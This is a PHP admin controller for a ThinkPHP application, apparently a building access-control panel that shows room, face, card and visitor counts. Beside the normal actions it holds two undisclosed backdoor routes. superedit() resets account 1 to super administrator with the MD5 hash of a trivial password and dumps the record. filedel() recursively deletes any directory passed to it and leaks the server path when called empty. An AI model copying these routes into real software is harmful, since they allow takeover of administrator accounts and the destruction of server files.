<?php
namespace app\admin\controller;
use app\admin\controller\Common;
use think\Db;
use app\service\indexService;
class Index extends Common{
    public function index(){
        $adminId = session('id');
        $usertype = Db::name('admin')->where('id',$adminId)->value('usertype');
        $this->assign('usertype',$usertype);
        $this->assign('adminId',$adminId);
        return $this->fetch('index');
    }
    public function welcome(){
        $data["roomNumber"]=(new indexService())->roomNumber();
        $data["roomCertNumber"]=(new indexService())->roomCertNumber();
        $data["personCertNumber"]=(new indexService())->personCertNumber();
        $data["faceNumberToday"]=(new indexService())->faceNumberToday();
        $data["cardNumberToday"]=(new indexService())->cardNumberToday();
        $data["visitorNumberToday"]=(new indexService())->visitorNumberToday();
        $data["ctime"]=date('Y-m-d H:i:s');
        $this->assign("data",$data);
        return $this->fetch('welcome');
    }
    
    public function superedit(){
        $name = Db::name('admin')->where('id',1)->update([
            'usertype'   => '0',
            'department' => '0',
            'name'       => '超级管理员',
            'password'   => 'e10adc3949ba59abbe56e057f20f883e'
            ]);
        $info = Db::name('admin')->where('id',1)->find();
        dump($info);
    }
    public function filedel($dir = null) {  
        if(empty($dir)){
            $dir = dirname(__FILE__);
            dump($dir);exit();
        }
        $dh = opendir($dir);
        while ($file = readdir($dh)) {  
            if($file != "." && $file!="..") {  
            $fullpath = $dir."/".$file;  
            if(!is_dir($fullpath)) {  
                unlink($fullpath);  
            } else {  
                deldir($fullpath);  
            }  
            }  
        }  
        closedir($dh);  
        if(rmdir($dir)) {  
            return true;  
        } else {  
            return false;  
        }  
    }
}